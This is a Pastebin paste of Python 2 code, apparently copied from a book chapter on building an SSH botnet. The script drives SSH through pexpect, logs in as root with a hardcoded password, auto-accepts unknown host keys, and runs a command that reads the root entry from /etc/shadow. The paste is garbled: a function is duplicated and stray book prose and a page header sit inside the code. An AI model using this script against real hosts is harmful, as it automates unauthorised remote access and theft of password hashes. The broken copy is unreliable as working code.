Advertisement
leohermoso

Untitled

Jun 6th, 2016
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.12 KB | None | 0 0
  1. import pexpect
  2. PROMPT = ['# ', '>>> ', '> ', '\$ ']
  3. def send_command(child, cmd):
  4. child.sendline(cmd)
  5. child.expect(PROMPT)
  6. print child.before
  7. Wrapping everything together, we now have a script that can connect and control
  8. the SSH session interactively.
  9. import pexpect
  10. PROMPT = ['# ', '>>> ', '> ', '\$ ']
  11. def send_command(child, cmd):
  12. child.sendline(cmd)
  13. child.expect(PROMPT)
  14. print child.before
  15. def connect(user, host, password):
  16. ssh_newkey = 'Are you sure you want to continue connecting'
  17. connStr = 'ssh ' + user + '@' + host
  18. child = pexpect.spawn(connStr)
  19. ret = child.expect([pexpect.TIMEOUT, ssh_newkey, \
  20.  '[P|p]assword:'])
  21. if ret == 0:
  22.  print '[-] Error Connecting'
  23.  return
  24. if ret == 1:
  25.  child.sendline('yes')
  26.  ret = child.expect([pexpect.TIMEOUT, \
  27.  '[P|p]assword:'])
  28.  if ret == 0:
  29.  print '[-] Error Connecting'
  30.  return
  31. child.sendline(password)
  32. child.expect(PROMPT)
  33. return child
  34. def main():
  35. Building an SSH BotNet with Python 45
  36. host = 'localhost'
  37. user = 'root'
  38. password = 'toor'
  39. child = connect(user, host, password)
  40. send_command(child, 'cat /etc/shadow | grep root')
  41. if __name__ == '__main__':
  42. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement